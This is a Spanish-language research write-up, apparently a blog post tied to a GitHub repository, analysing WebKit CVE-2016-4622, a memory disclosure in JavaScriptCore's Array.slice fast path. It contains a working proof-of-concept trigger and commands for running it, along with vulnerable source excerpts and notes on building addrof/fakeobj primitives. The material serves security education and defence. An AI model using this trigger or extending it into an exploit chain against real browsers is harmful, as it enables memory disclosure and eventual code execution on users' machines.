/ 7 min de lectura

WebKit CVE-2016-4622: Divulgación de Memoria en Array.slice

Los logos de Safari y WebKit

Análisis y explotación de la vulnerabilidad de WebKit JavaScript Core que permite divulgar memoria manipulando Array.slice

Índice


Resumen Ejecutivo

Este repositorio contiene un análisis de CVE-2016-4622, una vulnerabilidad crítica de divulgación de memoria en el motor JavaScript Core de WebKit. La vulnerabilidad viene de una race condition en la implementación de Array.slice() que se puede explotar para filtrar contenido de memoria adyacente, y sirve de base para primitivas de explotación más sofisticadas como addrof y fakeobj.

Impacto: divulgación de memoria que puede llevar a ejecución remota de código Componente afectado: WebKit JavaScript Core (JSC) Causa raíz: vulnerabilidad time-of-check-time-of-use (TOCTOU) en la implementación de fastSlice


Descripción de la Vulnerabilidad

El problema central

La vulnerabilidad está en el “fast path” optimizado de WebKit para el método Array.slice(). Al procesar los parámetros del slice, el engine convierte argumentos objeto a valores primitivos llamando a su método valueOf(). Esta conversión ocurre después de determinar los parámetros de la operación de slice, pero antes de la copia de memoria real.

Vector de ataque

var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Qué pasa:

  1. Se crea el array a con 100 elementos
  2. Durante el procesamiento de los parámetros del slice, se llama a valueOf()
  3. El valueOf() malicioso achica el array a longitud 0
  4. memcpy intenta copiar 10 elementos de un array vacío
  5. Resultado: se copia memoria adyacente, causando divulgación de información

Detalles técnicos

  • Tipo de vulnerabilidad: corrupción de memoria / use-after-free
  • Componente: WebKit JavaScriptCore (JSC)
  • Impacto: ejecución remota de código
  • Puntaje CVSS: 8.8 (alto)
  • Versiones afectadas: versiones de Safari previas a la actualización de seguridad

Configuración del Entorno de Investigación

Estructura del repositorio

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation

Componentes del entorno de debug

Terminal window
# WebKit Debug Build with Address Sanitizer
cd WebKit-Bins/ASAN
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

Entorno de testing:

  • Binarios: binarios JSC precompilados en VMWare OSX 10.11 con XCode 7.3.2
  • Arquitectura: ejecutables Mach-O x86_64
  • Features de debug: símbolos + AddressSanitizer para un análisis exhaustivo

Corriendo la prueba de concepto

Terminal window
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Análisis Técnico

Entendiendo la mecánica de Array.slice()

El método Array.slice(begin, end) crea una copia superficial de una porción del array. En circunstancias normales:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']

Dato clave: el parámetro end pasa por una conversión de tipo vía valueOf(), y eso abre una ventana para explotación.

Análisis del call stack

Cuando se dispara la vulnerabilidad, AddressSanitizer captura este flujo de llamadas:

#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context
Análisis del stack trace

Salida del Address Sanitizer

Al ejecutar el PoC con AddressSanitizer, vemos este error crítico:

==1699==ERROR: AddressSanitizer: memcpy-param-overlap:
memory ranges [0x000114cd4780,0x000114cd47d0) and
[0x000114cd4768, 0x000114cd47b8) overlap

Análisis función por función

1. arrayProtoFuncSlice() - Punto de entrada

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - El disparador de la conversión

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

La race condition:

  • Al procesar el segundo parámetro, {valueOf: function() { a.length = 0; return 10; }}
  • value.toInteger(exec) llama a nuestro valueOf() malicioso
  • Nuestra función modifica la longitud del array de 100 a 0
  • Pero los parámetros de la operación de slice (begin=0, end=10) quedan sin cambios

3. fastSlice() - Dónde ocurre la corrupción de memoria

Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}

La corrupción de memoria:

  • startIndex = 0, count = 10
  • La longitud del array ahora es 0 (modificada por valueOf())
  • memcpy lee 10 JSValues desde el índice 0
  • Como el array está vacío, esto lee memoria heap adyacente
  • Resultado: vulnerabilidad de divulgación de información

Recorrido de la Explotación

Flujo de ataque paso a paso

  1. Fase de setup

    var a = [];
    for (var i = 0; i < 100; i++)
    a.push(i + 0.123);
    • Crea un tipo ArrayWithDouble con 100 elementos
    • Los elementos quedan almacenados de forma contigua en memoria
  2. Fase de disparo

    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    • Inicia la operación de slice con un objeto malicioso como parámetro end
    • La validación del fast path pasa (el array se ve normal)
  3. Fase de explotación

    • La conversión de parámetros llama a valueOf()
    • La longitud del array se reduce a 0
    • fastSlice intenta copiar 10 elementos de un array vacío
    • Se filtra memoria adyacente dentro del array resultado
  4. Resultado

    0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
    • Los primeros dos valores: datos legítimos del array
    • El resto: memoria adyacente filtrada

Representación visual

Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...

Logrando el memory leak

El PoC demuestra un memory leak que revela contenido del heap:

Output: 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
^^^^^^^^^^^^^^^^
Leaked memory content

Construyendo primitivas de explotación

Esta vulnerabilidad sirve de base para explotación más avanzada:

  1. Primitiva addrof: filtrar direcciones de objetos
  2. Primitiva fakeobj: crear objetos JavaScript falsos
  3. Lectura/escritura arbitraria: controlar patrones de acceso a memoria

Hallazgos Clave

Análisis de causa raíz

ComponenteProblemaImpacto
Procesamiento de parámetrosTOCTOU en argumentClampedIndexFromStartOrEndPermite modificar el estado durante el procesamiento
Lógica del fast pathValidación insuficiente en fastSliceEvita el chequeo de límites
Operaciones de memoriamemcpy sin chequeo en la copia del arrayDivulgación directa de memoria

Primitivas de explotación

Esta vulnerabilidad sirve de base para:

  • Divulgación de información: capacidad directa de memory leak
  • Bypass de ASLR: posible revelación del layout del espacio de direcciones
  • Type confusion: preparación para primitivas addrof/fakeobj

Internals del motor JavaScript

Entender la representación de objetos de WebKit es clave:

// Array types in WebKit JSC
// ArrayWithDouble: Optimized storage for floating-point numbers
// ArrayWithInt32: Optimized storage for integers
// ArrayWithContiguous: General object storage
var array = [];
for (var i = 0; i < 100; i++)
array.push(i + 0.123); // Creates ArrayWithDouble

Técnicas de debugging

Herramientas esenciales para investigación de explotación de browsers:

Terminal window
# Debug binary compilation
git checkout 320b1fc3f6f
export CC=/usr/bin/clang
export CXX=/usr/bin/clang++
# ASAN compilation flags
-fsanitize=address -fno-omit-frame-pointer -g

Mitigación y Detección

Respuesta del vendor

  • Timeline: reportado y parcheado en actualizaciones de seguridad de WebKit
  • Fix: mejor chequeo de límites en operaciones de slice de arrays
  • Mitigación: validación correcta de longitudes de array durante callbacks

Estrategias de detección

  • Análisis estático: revisión de código de funciones de manipulación de arrays
  • Análisis dinámico: chequeo de límites en runtime con AddressSanitizer
  • Fuzzing: testing automatizado de casos límite del motor JavaScript

Consideraciones defensivas

Estrategias de mitigación:

  • Validar límites del array antes de operaciones memcpy
  • Implementar chequeo de estado consistente en los fast paths
  • Agregar verificación de límites en runtime para operaciones optimizadas

Recursos y Referencias

Papers y artículos de investigación

Documentación técnica

Herramientas y entorno

  • Commit vulnerable: 320b1fc3f6f
  • Entorno de build: VMWare OSX 10.11, XCode 7.3.2
  • Herramientas de análisis: AddressSanitizer, GDB, builds de debug de JSC
  • Repositorio de investigación: GitHub repository

Conclusión

CVE-2016-4622 es una vulnerabilidad clásica de explotación de browsers que muestra la complejidad de la seguridad en los motores JavaScript modernos. Analizando el código fuente de WebKit de forma sistemática y con debugging cuidadoso usando herramientas especializadas, se puede entender cómo race conditions aparentemente simples llevan a primitivas de explotación poderosas.

Esta investigación aporta a la comprensión más amplia de la seguridad de browsers y marca la necesidad constante de testing riguroso, prácticas de codificación segura y estrategias de defensa en profundidad en el desarrollo de navegadores web.

El código de investigación completo y el entorno de debugging quedan como base para investigación y educación en seguridad, y muestran cómo las vulnerabilidades de divulgación de memoria pueden servir de escalón hacia ataques más sofisticados.

Timeline de la investigación: 11-12 de abril de 2020 Estado: proyecto discontinuado ✅ Próximos pasos: desarrollo de la cadena de explotación completa con primitivas addrof/fakeobj